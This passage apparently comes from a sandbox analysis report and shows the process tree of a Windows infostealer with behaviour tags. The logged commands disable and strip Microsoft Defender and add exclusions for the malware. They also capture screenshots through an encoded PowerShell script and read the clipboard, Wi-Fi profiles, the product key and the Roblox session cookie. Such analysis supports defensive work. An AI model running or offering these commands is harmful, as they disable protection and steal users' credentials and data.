        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        11⤵
        
        PID:3636
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1620
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        11⤵
        
        PID:6004
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        12⤵
        
        PID:3476
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        12⤵
        Detects videocard installed
        
        PID:4692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        11⤵
        Executes a command shell one-liner
        
        PID:5028
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        12⤵
        
        PID:2164
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2108
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        9⤵
        Executes dropped EXE
        
        PID:3476
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1100
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        8⤵
        Executes dropped EXE
        
        PID:5116
      - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1628
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4668
    - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2232
      - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4088
  - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:5996
    - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2620
- - C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:5064
  - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1200
- C:\Users\Admin\AppData\Local\Temp\svchost.exe
  "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5824
- - C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2252
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4620
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5648
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2276
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        5⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:728
    - - C:\Program Files\Windows Defender\MpCmdRun.exe
        
        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
        5⤵
        Deletes Windows Defender Definitions
        
        PID:6008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5620
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2824
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:4312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5104
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:5632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2628
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
      4⤵
      Clipboard Data
      Suspicious use of WriteProcessMemory
      PID:1240
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1748
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5160
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:4468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5752
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:6056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:2696
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "systeminfo"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1488
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:2188
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4916
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1116
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bg0flbtc\bg0flbtc.cmdline"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5988
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8449.tmp" "c:\Users\Admin\AppData\Local\Temp\bg0flbtc\CSC6150BE4380345118D1166A8ECABA7A0.TMP"
        7⤵
        
        PID:5672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2736
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:5880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:6056
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3436
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4984
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3848
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:4688
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "getmac"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4488
    - - C:\Windows\system32\getmac.exe
        
        getmac
        5⤵
        
        PID:2520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:724
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2300
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2148
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI58242\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\1UU1v.zip" *"
      4⤵
      Executes a command shell one-liner
      PID:5220
    - - C:\Users\Admin\AppData\Local\Temp\_MEI58242\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI58242\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\1UU1v.zip" *
        5⤵
        Executes dropped EXE
        
        PID:4464
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
      4⤵
      PID:4684
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
      4⤵
      PID:2980
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5924
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:3904
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
      4⤵
      PID:5276
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      PID:4952
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        Suspicious behavior: EnumeratesProcesses
        
        PID:4784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
      4⤵
      Executes a command shell one-liner
      PID:4728
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2384

Network

